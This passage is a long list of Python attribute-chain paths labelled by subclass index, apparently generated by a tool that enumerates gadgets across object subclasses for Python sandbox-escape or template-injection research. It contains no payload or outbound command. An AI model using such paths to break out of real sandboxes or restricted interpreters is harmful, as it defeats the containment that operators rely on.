..dump.__hash__.__self__", "Subclass 177: .._create_cb_wrapper.__setattr__.__self__", "Subclass 188: ..__subclasshook__.__self__.__copy__", "Subclass 138: ..__subclasshook__.__self__.__next__", "Subclass 81: ..__init__.__delattr__.__self__", "Subclass 131: ..__class__.__subclasscheck__", "Subclass 173: ..register.__get__.__objclass__", "Subclass 95: ..__contains__.__ne__.__self__", "Subclass 108: ..setstate.__dir__.__self__", 'Global func 1: ..__reduce_ex__.__self__', "Subclass 104: ..is_package.__ne__.__self__", "Subclass 131: ..__class__.__new__.__class__", "Subclass 95: ..__init_subclass__.__self__._find_parent_path_names", "Subclass 135: .._Printer__setup.__init_subclass__.__self__", "Subclass 98: .._fill_cache.__eq__.__self__", "Subclass 172: ..__repr__.__subclasshook__.__self__", "Subclass 138: ..__await__.__ne__.__self__", "Subclass 95: .._find_parent_path_names.__delattr__.__self__", "Subclass 104: ..get_resource_reader.__dir__.__self__", "Subclass 136: ..__repr__.__ne__.__self__", "Subclass 164: ..repr_str.__getattribute__.__self__", "Subclass 198: ..module_repr.__call__.__self__", "Subclass 196: ..Match.__repr__.__func__", "Subclass 137: ..getter.__call__.__self__", "Subclass 135: .._Printer__setup.__new__.__self__", "Subclass 96: ..__init__.__ne__.__self__", "Subclass 110: ..write.__eq__.__self__", "Subclass 96: ..get_source.__reduce__.__self__", "Subclass 132: ..__call__.__dir__.__self__", "Subclass 81: ..__repr__.__call__.__objclass__", "Subclass 183: ..__init__.__init_subclass__.__self__", "Subclass 184: ..__repr__.__call__.__self__", "Subclass 164: ..__subclasshook__.__self__.repr_str", "Subclass 98: ..__repr__.__init__.__self__", "Subclass 175: .._recreate_cm.__get__.__self__", "Subclass 83: ..__repr__.__call__.__objclass__", "Subclass 95: ..__subclasshook__.__self__._find_parent_path_names", "Subclass 185: ..tell.__dir__.__self__", "Subclass 96: ..exec_module.__ge__.__self__", "Subclass 108: ..decode.__get__.__self__", "Subclass 164: ..repr.__call__.__self__", "Subclass 108: ..__subclasshook__.__self__.setstate", "Subclass 164: ..repr.__reduce_ex__.__self__", "Subclass 93: ..load_module.__repr__.__self__", "Subclass 196: ..Pattern.__reduce__.__func__", "Subclass 184: ..__repr__.__init__.__self__", "Subclass 96: ..load_module.__new__.__self__", "Subclass 98: ..find_module.__reduce__.__self__", "Subclass 184: ..insert.__subclasshook__.__self__", "Subclass 133: ..__init__.__setattr__.__self__", "Subclass 179: ..__class__.__new__", "Subclass 185: ..match.__gt__.__self__", "Subclass 95: ..__iter__.__repr__.__objclass__", "Subclass 93: ..load_module.__setattr__.__self__", "Subclass 94: ..get_filename.__init_subclass__.__self__", "Subclass 185: ..getuntil.__call__.__self__", "Subclass 87: ..__enter__.__gt__.__self__", "Subclass 164: .._repr_iterable.__reduce_ex__.__self__", "Subclass 183: ..__init__.__ne__.__self__", "Subclass 174: ..__weakref__.__objclass__.__get__", "Subclass 131: ..__class__.register.__class__", "Subclass 184: ..__init__.__getattribute__.__self__", "Subclass 175: .._recreate_cm.__init_subclass__.__self__", "Subclass 83: ..__repr__.__call__.__self__", "Subclass 184: ..__init__.__repr__.__objclass__", "Subclass 133: ..__getattr__.__reduce__.__self__", "Subclass 96: ..get_source.__delattr__.__self__", "Subclass 109: ..writelines.__reduce__.__self__", "Subclass 172: ..__repr__.__delattr__.__self__", "Subclass 93: ..is_package.__setattr__.__self__", "Subclass 134: ..__init__.__getattribute__.__self__", "Subclass 175: .._recreate_cm.__class__", "Subclass 175: .._recreate_cm.__ne__.__self__", "Subclass 98: .._get_spec.__lt__.__self__", "Subclass 137: ..getter.__subclasshook__.__self__", "Subclass 94: ..load_module.__lt__.__self__", "Subclass 86: ..module_repr.__get__.__objclass__", "Subclass 109: ..readline.__eq__.__self__", "Subclass 117: ..__aiter__.__init_subclass__.__self__", "Subclass 109: ..write.__init__.__self__", "Subclass 95: ..__setitem__.__get__.__self__", "Subclass 94: ..get_resource_reader.__call__.__objclass__", "Subclass 164: ..repr_list.__repr__.__self__", "Subclass 196: ..Match.__init_subclass__.__func__", "Subclass 138: ..__iter__.__dir__.__self__", "Subclass 98: ..__repr__.__gt__.__self__", "Subclass 98: ..path_hook.__self__.invalidate_caches", "Subclass 115: ..__class__.register.__class__", "Subclass 135: .._Printer__setup.__ne__.__self__", "Subclass 80: ..has_deadlock.__delattr__.__self__", "Subclass 39: ..__get__.__objclass__", "Subclass 110: ..writelines.__le__.__self__", "Subclass 134: ..__repr__.__eq__.__self__", "Subclass 164: ..repr_frozenset.__init__.__self__", "Subclass 104: ..get_source.__dir__.__self__", "Subclass 84: ..__weakref__.__objclass__.module_repr", "Subclass 199: ..contents.__class__", "Subclass 112: ..__class__._abc_caches_clear.__class__", "Subclass 138: ..__init__.__repr__.__self__", "Subclass 39: ..__init_subclass__.__self__", "Subclass 104: ..get_filename.__subclasshook__.__self__", "Subclass 94: ..__eq__.__repr__.__self__", "Subclass 105: ..contents.__init_subclass__.__self__", "Subclass 109: ..__getattr__.__getattribute__.__self__", "Subclass 95: .._get_parent_path.__dir__.__self__", "Subclass 139: ..__str__.__call__.__self__", "Subclass 104: ..get_code", "Subclass 104: ..get_filename", "Subclass 164: ..repr_str.__ne__.__self__", "Subclass 80: ..release.__init_subclass__.__self__", "Subclass 198: ..module_repr.__reduce__.__self__", "Subclass 174: ..__get__.__le__.__self__", "Subclass 84: ..__subclasshook__.__self__.module_repr", "Subclass 164: ..repr1.__ne__.__self__", "Subclass 109: ..readlines.__dir__.__self__", "Subclass 110: ..seek.__sizeof__.__self__", 'Global func 1: ..__ge__.__self__', "Subclass 109: ..__exit__.__get__.__objclass__", "Subclass 135: .._Printer__setup.__subclasshook__.__self__", "Subclass 135: ..__init__.__ge__.__self__", "Subclass 80: ..acquire.__subclasshook__.__self__", "Subclass 173: ..__subclasshook__.__self__.__init__", "Subclass 108: ..getstate.__format__.__self__", "Subclass 135: ..__repr__.__get__.__objclass__", "Subclass 140: ..__exit__.__reduce_ex__.__self__", "Subclass 185: ..seek.__dir__.__self__", "Subclass 119: ..__class_getitem__.__self__.__iter__", "Subclass 95: .._recalculate.__format__.__self__", "Subclass 109: ..__enter__.__ge__.__self__", "Subclass 140: ..__exit__.__get__.__objclass__", "Subclass 104: ..get_resource_reader.__delattr__.__self__", "Subclass 177: .._create_cb_wrapper.__sizeof__.__self__", "Subclass 106: ..decode", "Subclass 98: ..__subclasshook__.__self__._fill_cache", "Subclass 164: ..repr_list.__get__.__self__", "Subclass 95: ..append.__ge__.__self__", "Subclass 173: ..register.__hash__.__self__", "Subclass 134: ..__call__.__delattr__.__self__", "Subclass 98: ..find_loader.__le__.__self__", "Subclass 184: ..__setitem__.__new__.__self__", "Subclass 164: ..repr_list.__eq__.__self__", "Subclass 110: ..__subclasshook__.__self__.reset", "Subclass 114: ..__class__.__new__.__class__", "Subclass 117: ..__class__.__instancecheck__.__class__", "Subclass 140: ..__exit__.__ge__.__self__", "Subclass 139: ..__str__.__subclasshook__.__self__", "Subclass 197: ..find_module.__lt__.__self__", "Subclass 110: ..__init__.__eq__.__self__", "Subclass 195: ..IO.truncate", "Subclass 104: ..__subclasshook__.__self__.is_package", "Subclass 110: ..__iter__.__reduce__.__self__", "Subclass 109: ..readline.__format__.__self__", "Subclass 135: ..__call__.__ne__.__self__", "Subclass 98: ..find_spec.__ne__.__self__", "Subclass 95: ..__init_subclass__.__self__.__iter__", "Subclass 94: ..open_resource.__setattr__.__self__", "Subclass 107: ..encode.__gt__.__self__", "Subclass 134: ..__call__.__ne__.__self__", "Subclass 109: ..__exit__.__eq__.__self__", "Subclass 104: ..is_package.__get__.__objclass__", "Subclass 199: ..resource_path.__sizeof__.__self__", "Subclass 109: ..seek.__call__.__self__", "Subclass 104: ..find_loader.__get__.__objclass__", "Subclass 198: ..create_module.__sizeof__.__self__", "Subclass 95: ..__iter__.__format__.__self__", "Subclass 198: ..__init_subclass__.__self__.create_module", "Subclass 110: ..__iter__.__init_subclass__.__self__", "Subclass 98: ..__init__", "Subclass 137: ..deleter.__gt__.__self__", "Subclass 105: ..open_resource.__eq__.__self__", "Subclass 183: ..checklookbehindgroup.__init__.__self__", "Subclass 195: ..IO.read", "Subclass 164: ..repr_array.__call__.__self__", "Subclass 138: ..send.__ge__.__self__", "Subclass 192: ..__new__.__eq__.__self__", "Subclass 104: ..__init__.__ne__.__self__", "Subclass 110: ..__getattr__.__ne__.__self__", "Subclass 164: ..repr_int.__format__.__self__", "Subclass 95: ..__getitem__.__class__", "Subclass 132: ..__call__.__delattr__.__self__", "Subclass 133: ..__exit__.__ge__.__self__", "Subclass 140: ..__init_subclass__.__self__.__exit__", "Subclass 199: ..is_resource.__setattr__.__self__", "Subclass 104: ..find_loader.__format__.__self__", "Subclass 134: ..__call__.__le__.__self__", "Subclass 86: ..exec_module.__init_subclass__.__self__", "Subclass 104: ..find_loader.__call__.__objclass__", "Subclass 87: ..__enter__.__new__.__self__", "Subclass 133: ..__exit__.__str__.__self__", "Subclass 173: ..__init__.__eq__.__self__", "Subclass 104: ..find_module", "Subclass 184: ..__delitem__.__new__.__self__", "Subclass 105: ..__init__.__delattr__.__self__", "Subclass 195: ..IO.readable", "Subclass 186: ..__init__.__get__.__objclass__", "Subclass 164: ..repr_instance.__repr__.__objclass__", "Subclass 108: ..reset.__new__.__self__", "Subclass 199: ..resource_path.__subclasshook__.__self__", "Subclass 196: ..Pattern.__class__.__mro_entries__", "Subclass 132: ..__call__.__new__.__self__", "Subclass 164: .._repr_iterable.__reduce__.__self__", "Subclass 164: ..repr_array.__str__.__self__", "Subclass 82: ..__init__.__format__.__self__", "Subclass 107: ..__weakref__.__objclass__.getstate", "Subclass 199: ..open_resource.__delattr__.__self__", "Subclass 96: ..exec_module", "Subclass 137: ..deleter.__le__.__self__", "Subclass 110: ..write.__getattribute__.__self__", "Subclass 140: ..__weakref__.__objclass__.__exit__", "Subclass 95: .._get_parent_path.__init_subclass__.__self__", "Subclass 184: ..__getitem__.__format__.__self__", "Subclass 95: .._find_parent_path_names.__hash__.__self__", "Subclass 164: ..repr_str.__class__", "Subclass 135: ..__call__.__new__.__self__", "Subclass 195: ..BinaryIO.isatty.__class__", "Subclass 110: ..readline.__repr__.__objclass__", "Subclass 175: ..__call__.__le__.__self__", "Subclass 137: ..setter.__ge__.__self__", "Subclass 94: ..contents.__class__", "Subclass 104: ..__repr__.__new__.__self__", "Subclass 130: ..__class__._dump_registry.__class__", "Subclass 164: .._repr_iterable", "Subclass 164: ..repr.__class__", "Subclass 95: ..__repr__.__init__.__self__", "Subclass 139: ..__str__.__str__.__self__", "Subclass 138: ..throw.__setattr__.__self__", "Subclass 87: ..__exit__.__lt__.__self__", "Subclass 109: ..write.__class__", "Subclass 186: ..__init__.__init_subclass__.__self__", "Subclass 177: ..__init_subclass__.__self__.enter_context", "Subclass 137: ..setter.__lt__.__self__", "Subclass 184: ..__weakref__.__objclass__.__setitem__", "Subclass 192: ..__new__.__class__", "Subclass 98: ..__init_subclass__.__self__._get_spec", "Subclass 185: ..match.__sizeof__.__self__", "Subclass 95: ..__init__.__str__.__self__", "Subclass 82: ..__exit__.__reduce_ex__.__self__", "Subclass 198: ..module_repr.__dir__.__self__", "Subclass 198: ..load_module.__reduce__.__self__", "Subclass 81: ..__init__.__lt__.__self__", "Subclass 139: ..__str__.__dir__.__self__", "Subclass 198: ..create_module.__reduce_ex__.__self__", "Subclass 164: ..repr_str.__reduce_ex__.__self__", "Subclass 176: ..__init__.__repr__.__self__", "Subclass 95: ..__repr__.__repr__.__self__", "Subclass 183: ..checkgroup.__setattr__.__self__", "Subclass 132: ..__class__._abc_registry_clear", "Subclass 81: ..__repr__.__call__.__self__", "Subclass 109: ..reset.__format__.__self__", "Subclass 199: ..__class__.__subclasscheck__.__class__", "Subclass 87: ..__exit__.__ne__.__self__", "Subclass 96: ..is_package.__get__.__objclass__", 'Global func 1: ..__lt__.__self__', "Subclass 183: ..opengroup.__reduce_ex__.__self__", "Subclass 109: ..readlines.__init_subclass__.__self__", "Subclass 164: ..repr_set.__ge__.__self__", "Subclass 94: ..contents.__getattribute__.__self__", "Subclass 134: ..__call__.__init_subclass__.__self__", "Subclass 138: ..close.__ne__.__self__", "Subclass 98: ..__init__.__reduce__.__self__", "Subclass 96: ..__subclasshook__.__self__.load_module", "Subclass 133: ..__init__.__get__.__objclass__", "Subclass 108: ..reset.__class__", "Subclass 196: ..Match.__class__.__mro_entries__", "Subclass 177: .._create_cb_wrapper.__ne__.__self__", "Subclass 39: ..__annotations__.__objclass__", "Subclass 134: ..__call__.__str__.__self__", "Subclass 185: ..__init_subclass__.__self__.get", "Subclass 199: ..__init_subclass__.__self__.contents", "Subclass 135: .._Printer__setup.__sizeof__.__self__", "Subclass 105: ..contents.__reduce__.__self__", "Subclass 92: .._open_registry.__func__.__class__", "Subclass 185: ..tell.__setattr__.__self__", "Subclass 83: ..__repr__.__str__.__self__", "Subclass 133: ..__init__.__dir__.__self__", "Subclass 114: ..__hash__.__repr__.__self__", "Subclass 110: ..__enter__.__get__.__objclass__", "Subclass 164: ..repr_set.__get__.__self__", "Subclass 93: ..is_package.__get__.__self__", "Subclass 96: ..exec_module.__reduce_ex__.__self__", "Subclass 107: ..__init__.__setattr__.__self__", "Subclass 104: ..get_code.__repr__.__self__", "Subclass 186: ..__init__.__init__.__self__", "Subclass 137: ..__get__.__dir__.__self__", "Subclass 109: ..readline.__get__.__self__", "Subclass 135: ..__init__.__call__.__objclass__", "Subclass 105: ..contents.__call__.__objclass__", "Subclass 175: .._recreate_cm.__delattr__.__self__", "Subclass 135: ..__init__.__gt__.__self__", "Subclass 109: ..seek", "Subclass 106: ..decode.__setattr__.__self__", "Subclass 94: ..__init_subclass__.__self__.get_filename", "Subclass 83: ..__eq__.__repr__.__self__", "Subclass 135: .._Printer__setup.__delattr__.__self__", "Subclass 131: ..__contains__.__format__.__self__", "Subclass 199: ..contents.__reduce__.__self__", "Subclass 86: ..find_spec.__self__.exec_module", "Subclass 183: ..opengroup.__lt__.__self__", "Subclass 94: ..get_resource_reader.__reduce_ex__.__self__", "Subclass 104: ..__weakref__.__objclass__.find_loader", "Subclass 94: ..get_resource_reader.__init__.__self__", "Subclass 130: ..__len__.__ge__.__self__", "Subclass 164: ..repr_frozenset.__delattr__.__self__", "Subclass 98: ..find_spec", "Subclass 174: ..__get__.__init__.__self__", "Subclass 177: .._create_exit_wrapper.__repr__.__self__", "Subclass 95: .._recalculate.__eq__.__self__", "Subclass 130: ..__len__.__class__", "Subclass 164: ..repr1.__new__.__self__", "Subclass 185: ..getwhile.__new__.__self__", "Subclass 138: ..send.__str__.__self__", "Subclass 110: ..__getattr__.__get__.__self__", "Subclass 137: ..__set__.__sizeof__.__self__", "Subclass 140: ..__exit__.__new__.__self__", "Subclass 98: ..find_spec.__hash__.__self__", "Subclass 110: ..__next__", "Subclass 199: ..contents.__delattr__.__self__", "Subclass 185: .._Tokenizer__next.__call__.__objclass__", "Subclass 110: ..seek.__new__.__self__", "Subclass 115: ..__class__.register", "Subclass 110: ..writelines.__dir__.__self__", "Subclass 104: ..load_module.__eq__.__self__", "Subclass 98: ..find_loader.__ne__.__self__", "Subclass 164: ..repr_instance.__str__.__self__", "Subclass 94: ..__init__.__dir__.__self__", "Subclass 119: ..__class__._dump_registry", "Subclass 173: ..__get__.__gt__.__self__", "Subclass 105: ..open_resource.__getattribute__.__self__", "Subclass 184: ..__delitem__.__class__", "Subclass 95: ..__setitem__.__setattr__.__self__", "Subclass 198: ..load_module.__hash__.__self__", "Subclass 164: ..repr_frozenset.__getattribute__.__self__", "Subclass 177: ..push.__le__.__self__", "Subclass 184: ..__setitem__.__init__.__self__", "Subclass 115: ..__await__.__ge__.__self__", "Subclass 82: ..__enter__.__reduce_ex__.__self__", "Subclass 104: ..get_code.__eq__.__self__", "Subclass 183: ..checklookbehindgroup.__subclasshook__.__self__", "Subclass 110: ..reset.__subclasshook__.__self__", "Subclass 188: ..__deepcopy__.__sizeof__.__self__", "Subclass 110: ..__next__.__str__.__self__", "Subclass 109: ..__exit__.__subclasshook__.__self__", "Subclass 164: ..repr_deque.__setattr__.__self__", "Subclass 185: ..match", "Subclass 140: ..__enter__.__init__.__self__", "Subclass 98: ..find_module.__getattribute__.__self__", "Subclass 183: ..opengroup.__delattr__.__self__", "Subclass 185: .._Tokenizer__next.__dir__.__self__", "Subclass 81: ..__repr__.__get__.__self__", "Subclass 81: ..__repr__.__setattr__.__self__", "Subclass 198: ..__class__._abc_registry_clear.__class__", "Subclass 138: ..close.__dir__.__self__", "Subclass 96: ..get_code.__reduce_ex__.__self__", "Subclass 139: ..__init__.__repr__.__self__", "Subclass 117: ..__aiter__.__subclasshook__.__self__", "Subclass 138: ..close.__ge__.__self__", "Subclass 183: ..opengroup.__get__.__self__", "Subclass 185: ..get.__reduce__.__self__", "Subclass 164: ..repr1.__reduce__.__self__", "Subclass 137: ..__set__.__getattribute__.__self__", "Subclass 138: ..__next__.__sizeof__.__self__", "Subclass 108: ..reset.__get__.__self__", "Subclass 136: ..__call__.__repr__.__objclass__", "Subclass 172: ..__get__.__hash__.__self__", "Subclass 109: ..seek.__setattr__.__self__", "Subclass 110: ..readline.__eq__.__self__", "Subclass 109: ..read.__gt__.__self__", "Subclass 177: ..__init_subclass__.__self__._push_exit_callback", "Subclass 109: ..writelines.__setattr__.__self__", "Subclass 81: ..__repr__.__format__.__self__", "Subclass 110: ..__enter__.__init__.__self__", "Subclass 138: ..throw.__hash__.__self__", "Subclass 110: ..__next__.__lt__.__self__", "Subclass 164: ..repr_array.__setattr__.__self__", "Subclass 94: ..__eq__.__lt__.__self__", "Subclass 164: ..repr_array.__class__", "Subclass 98: ..find_spec.__str__.__self__", "Subclass 95: ..__len__.__repr__.__objclass__", "Subclass 80: ..acquire.__call__.__objclass__", "Subclass 138: ..__await__.__eq__.__self__", "Subclass 185: ..__weakref__.__objclass__.error", "Subclass 94: ..load_module.__call__.__objclass__", "Subclass 195: ..IO.writelines", "Subclass 104: ..__init__.__le__.__self__", "Subclass 109: ..readline.__sizeof__.__self__", "Subclass 80: ..__init__.__delattr__.__self__", "Subclass 174: ..__init__.__class__", "Subclass 164: ..repr.__call__.__objclass__", "Subclass 108: ..decode.__new__.__self__", "Subclass 183: ..checkgroup.__ne__.__self__", "Subclass 135: ..__call__.__call__.__self__", "Subclass 107: ..__init__.__str__.__self__", "Subclass 94: ..__subclasshook__.__self__.open_resource", "Subclass 104: ..find_loader.__new__.__self__", "Subclass 115: ..__class__._abc_caches_clear", "Subclass 138: ..__init__.__call__.__objclass__", "Subclass 93: ..create_module.__class__", "Subclass 139: ..__subclasshook__.__self__.__init__", "Subclass 137: ..getter.__class__", "Subclass 140: ..__repr__.__get__.__self__", "Subclass 164: ..repr_frozenset.__ne__.__self__", "Subclass 110: ..seek.__reduce_ex__.__self__", "Subclass 138: ..__await__.__sizeof__.__self__", "Subclass 107: ..encode.__subclasshook__.__self__", "Subclass 104: ..__subclasshook__.__self__.find_loader", "Subclass 131: ..__contains__.__lt__.__self__", "Subclass 80: ..has_deadlock.__format__.__self__", "Subclass 173: ..__init__.__repr__.__self__", "Subclass 107: ..getstate.__get__.__objclass__", "Subclass 184: ..getwidth.__reduce__.__self__", "Subclass 119: ..__iter__.__str__.__self__", "Subclass 138: ..__init__.__le__.__self__", "Subclass 110: ..readlines.__get__.__objclass__", "Subclass 80: ..__init__.__reduce__.__self__", "Subclass 80: ..__repr__.__setattr__.__self__", "Subclass 131: ..__contains__.__ne__.__self__", "Subclass 184: ..__init__.__setattr__.__self__", "Subclass 134: ..__call__.__class__", "Subclass 199: ..contents.__lt__.__self__", "Subclass 137: ..__set__.__str__.__self__", "Subclass 164: ..__init__.__delattr__.__self__", "Subclass 86: ..module_repr.__reduce__.__self__", "Subclass 186: ..scan.__setattr__.__self__", "Subclass 93: ..exec_module.__repr__.__self__", "Subclass 109: ..readlines.__init__.__self__", "Subclass 183: ..closegroup.__eq__.__self__", "Subclass 172: ..__init__.__subclasshook__.__self__", "Subclass 186: ..__init__.__ge__.__self__", "Subclass 104: ..find_loader.__str__.__self__", "Subclass 164: ..repr_dict.__subclasshook__.__self__", "Subclass 132: ..__call__.__repr__.__self__", "Subclass 184: ..insert.__sizeof__.__self__", "Subclass 108: ..decode.__class__", "Subclass 132: ..__class__._dump_registry", "Subclass 95: ..append.__get__.__self__", "Subclass 110: ..__next__.__get__.__self__", "Subclass 95: ..__contains__.__str__.__self__", "Subclass 95: ..__getitem__.__setattr__.__self__", "Subclass 115: ..__class__._abc_registry_clear", "Subclass 177: ..enter_context.__le__.__self__", "Subclass 109: ..read.__get__.__objclass__", "Subclass 138: ..close.__call__.__self__", "Subclass 135: .._Printer__setup.__str__.__self__", "Subclass 132: ..__subclasshook__.__func__", "Subclass 109: ..__iter__.__subclasshook__.__self__", "Subclass 83: ..__repr__.__dir__.__self__", "Subclass 104: ..is_package.__eq__.__self__", "Subclass 98: .._fill_cache.__sizeof__.__self__", 'Global func 1: ..__call__.__self__', "Subclass 110: ..__init__.__new__.__self__", "Subclass 94: ..__hash__.__subclasshook__.__self__", "Subclass 109: ..__enter__.__eq__.__self__", "Subclass 133: ..__init__.__subclasshook__.__self__", "Subclass 177: ..enter_context.__reduce_ex__.__self__", "Subclass 84: ..get_source.__self__.module_repr", "Subclass 198: ..create_module.__reduce__.__self__", "Subclass 81: ..acquire.__repr__.__self__", "Subclass 104: ..load_module.__lt__.__self__", "Subclass 98: ..__repr__.__init_subclass__.__self__", "Subclass 106: ..encode.__reduce__.__self__", "Subclass 80: ..__init__.__call__.__self__", "Subclass 94: ..contents.__call__.__self__", "Subclass 184: ..insert.__getattribute__.__self__", "Subclass 94: ..load_module.__get__.__objclass__", "Subclass 164: ..repr_int.__call__.__objclass__", "Subclass 130: ..__class__.__instancecheck__", "Subclass 96: ..create_module.__le__.__self__", "Subclass 104: ..find_loader.__repr__.__objclass__", "Subclass 96: ..exec_module.__str__.__self__", "Subclass 164: ..repr_frozenset.__eq__.__self__", "Subclass 133: ..__getattr__.__ne__.__self__", "Subclass 130: ..__subclasshook__.__self__.__len__", "Subclass 95: ..__iter__.__subclasshook__.__self__", "Subclass 104: ..get_resource_reader.__reduce__.__self__", "Subclass 140: ..__repr__.__lt__.__self__", "Subclass 134: ..__repr__.__init__.__self__", "Subclass 184: ..__setitem__.__call__.__self__", "Subclass 137: ..__get__.__format__.__self__", "Subclass 81: ..release.__new__.__self__", "Subclass 86: ..exec_module.__get__.__objclass__", "Subclass 109: ..__init_subclass__.__self__.__init__", "Subclass 110: ..__iter__.__get__.__self__", "Subclass 130: ..__len__.__eq__.__self__", "Subclass 108: ..__weakref__.__objclass__.setstate", "Subclass 96: ..__subclasshook__.__self__.is_package", "Subclass 133: ..__enter__.__new__.__self__", "Subclass 133: ..__getattr__.__le__.__self__", "Subclass 93: ..load_module.__class__", "Subclass 140: ..__init__.__call__.__self__", "Subclass 98: ..find_module.__gt__.__self__", "Subclass 109: ..__weakref__.__objclass__.seek", "Subclass 164: ..repr_int.__str__.__self__", "Subclass 174: ..__get__.__delattr__.__self__", "Subclass 136: ..__call__.__dir__.__self__", "Subclass 174: ..__init_subclass__.__self__.__init__", "Subclass 82: ..__weakref__.__objclass__.__enter__", "Subclass 177: ..__subclasshook__.__self__._push_cm_exit", "Subclass 164: ..repr_set.__str__.__self__", "Subclass 107: ..reset.__delattr__.__self__", "Subclass 109: ..__init__.__gt__.__self__", "Subclass 137: ..getter.__gt__.__self__", "Subclass 110: ..seek.__getattribute__.__self__", "Subclass 137: ..setter.__reduce_ex__.__self__", "Subclass 136: ..__subclasshook__.__self__.__repr__", "Subclass 184: ..__init__", "Subclass 108: ..__subclasshook__.__self__.getstate", "Subclass 107: ..reset.__reduce_ex__.__self__", "Subclass 164: ..repr_set.__repr__.__objclass__", "Subclass 96: ..create_module.__get__.__objclass__", "Subclass 172: ..__get__.__get__.__self__", "Subclass 138: ..__iter__.__reduce__.__self__", "Subclass 81: ..release.__sizeof__.__self__", "Subclass 137: ..__weakref__.__objclass__.getter", "Subclass 105: ..resource_path.__repr__.__objclass__", "Subclass 185: ..error.__delattr__.__self__", "Subclass 95: ..__repr__.__eq__.__self__", "Subclass 134: ..__repr__.__setattr__.__self__", "Subclass 105: ..resource_path.__dir__.__self__", "Subclass 110: ..__enter__.__eq__.__self__", "Subclass 137: ..__delete__.__init_subclass__.__self__", "Subclass 106: ..decode.__lt__.__self__", "Subclass 95: ..append.__init_subclass__.__self__", "Subclass 109: ..__exit__.__init__.__self__", "Subclass 188: ..__copy__.__init__.__self__", "Subclass 110: ..__iter__", "Subclass 104: ..get_filename.__eq__.__self__", "Subclass 135: ..__init_subclass__.__self__.__init__", "Subclass 109: ..read.__le__.__self__", "Subclass 164: ..repr_array.__get__.__self__", "Subclass 96: ..is_package.__init__.__self__", "Subclass 184: ..__delitem__.__setattr__.__self__", "Subclass 94: ..get_filename.__subclasshook__.__self__", "Subclass 80: ..has_deadlock.__lt__.__self__", "Subclass 140: ..__init__.__reduce__.__self__", "Subclass 110: ..readline", "Subclass 109: ..__init__.__sizeof__.__self__", "Subclass 184: ..insert.__delattr__.__self__", "Subclass 98: ..find_module.__ne__.__self__", "Subclass 184: ..__setitem__.__getattribute__.__self__", "Subclass 174: ..__get__.__repr__.__self__", "Subclass 112: ..__class__.__subclasscheck__.__class__", "Subclass 104: ..get_source.__str__.__self__", "Subclass 98: ..invalidate_caches.__eq__.__self__", "Subclass 114: ..__hash__.__str__.__self__", "Subclass 98: .._get_spec.__init_subclass__.__self__", "Subclass 109: ..__enter__.__subclasshook__.__self__", "Subclass 83: ..__repr__.__repr__.__self__", "Subclass 184: ..__weakref__.__objclass__.__len__", "Subclass 137: ..__get__.__subclasshook__.__self__", "Subclass 137: ..__get__.__delattr__.__self__", "Subclass 184: ..getwidth.__dir__.__self__", "Subclass 179: ..__class__.__iter__.__class__", "Subclass 96: ..__weakref__.__objclass__.__init__", "Subclass 133: ..__getattr__.__new__.__self__", "Subclass 110: ..__iter__.__dir__.__self__", "Subclass 94: ..get_filename.__reduce_ex__.__self__", "Subclass 177: ..callback.__lt__.__self__", "Subclass 133: ..__init_subclass__.__self__.__iter__", "Subclass 115: ..__await__.__setattr__.__self__", "Subclass 109: ..__getattr__.__lt__.__self__", "Subclass 184: ..__len__.__repr__.__self__", "Subclass 139: ..__str__.__gt__.__self__", "Subclass 199: ..open_resource.__ge__.__self__", "Subclass 107: ..reset.__get__.__self__", "Subclass 95: ..append.__new__.__self__", "Subclass 177: ..__init__.__call__.__self__", "Subclass 185: ..error.__str__.__self__", "Subclass 104: ..find_module.__call__.__self__", "Subclass 131: ..__contains__.__eq__.__self__", "Subclass 183: ..closegroup.__hash__.__self__", "Subclass 109: ..readlines.__subclasshook__.__self__", "Subclass 105: ..__init__.__init_subclass__.__self__", "Subclass 94: ..resource_path.__setattr__.__self__", "Subclass 109: ..__next__.__ne__.__self__", "Subclass 87: ..__init_subclass__.__self__.__exit__", "Subclass 93: ..load_module.__le__.__self__", "Subclass 105: ..resource_path.__reduce__.__self__", "Subclass 110: ..readline.__ge__.__self__", "Subclass 110: ..__iter__.__str__.__self__", "Subclass 185: ..tell.__init__.__self__", "Subclass 184: ..__repr__.__class__", "Subclass 185: ..error.__get__.__self__", "Subclass 80: ..__init__.__ge__.__self__", "Subclass 94: ..contents.__setattr__.__self__", "Subclass 195: ..BinaryIO.__init_subclass__.__func__", "Subclass 184: ..__init__.__repr__.__self__", "Subclass 84: ..find_module.__func__.__class__", "Subclass 98: .._get_spec.__subclasshook__.__self__", "Subclass 195: ..TextIO.isatty", "Subclass 108: ..reset.__delattr__.__self__", "Subclass 110: ..write.__get__.__self__", "Subclass 135: ..__init__.__ne__.__self__", 'Global func 1: ..__delattr__.__self__', "Subclass 184: ..__setitem__.__lt__.__self__", "Subclass 164: ..__init__.__subclasshook__.__self__", "Subclass 104: ..get_code.__new__.__self__", "Subclass 104: ..__repr__.__class__", "Subclass 195: ..BinaryIO.seek", "Subclass 175: ..__call__.__get__.__self__", "Subclass 184: ..__len__.__sizeof__.__self__", "Subclass 110: ..read.__sizeof__.__self__", "Subclass 197: ..find_module.__repr__.__objclass__", "Subclass 164: .._repr_iterable.__delattr__.__self__", "Subclass 84: ..module_repr.__hash__.__self__", "Subclass 140: ..__repr__.__setattr__.__self__", "Subclass 95: ..__init_subclass__.__self__.__contains__", "Subclass 104: ..is_package.__delattr__.__self__", "Subclass 199: ..__weakref__.__objclass__.is_resource", "Subclass 109: ..readlines.__ge__.__self__", "Subclass 172: ..__get__.__gt__.__self__", "Subclass 94: ..__hash__.__delattr__.__self__", "Subclass 96: ..create_module.__init__.__self__", "Subclass 96: ..exec_module.__le__.__self__", "Subclass 135: .._Printer__setup.__getattribute__.__self__", "Subclass 184: ..__getitem__.__hash__.__self__", 'Global func 1: ..__dir__.__self__.__class__', "Subclass 80: ..has_deadlock.__call__.__objclass__", "Subclass 95: ..__setitem__.__dir__.__self__", "Subclass 94: ..is_resource.__str__.__self__", "Subclass 195: ..IO.readlines.__class__", "Subclass 164: ..repr.__lt__.__self__", "Subclass 95: ..__len__.__reduce_ex__.__self__", "Subclass 81: ..__init__.__ge__.__self__", "Subclass 133: ..__iter__.__delattr__.__self__", "Subclass 184: ..__len__.__call__.__self__", "Subclass 138: ..__iter__.__reduce_ex__.__self__", "Subclass 94: ..contents.__repr__.__self__", "Subclass 96: ..__init__.__getattribute__.__self__", "Subclass 184: ..__setitem__.__init_subclass__.__self__", "Subclass 172: ..__get__.__subclasshook__.__self__", 'Global func 1: ..__repr__.__objclass__', "Subclass 96: ..is_package.__ge__.__self__", "Subclass 192: 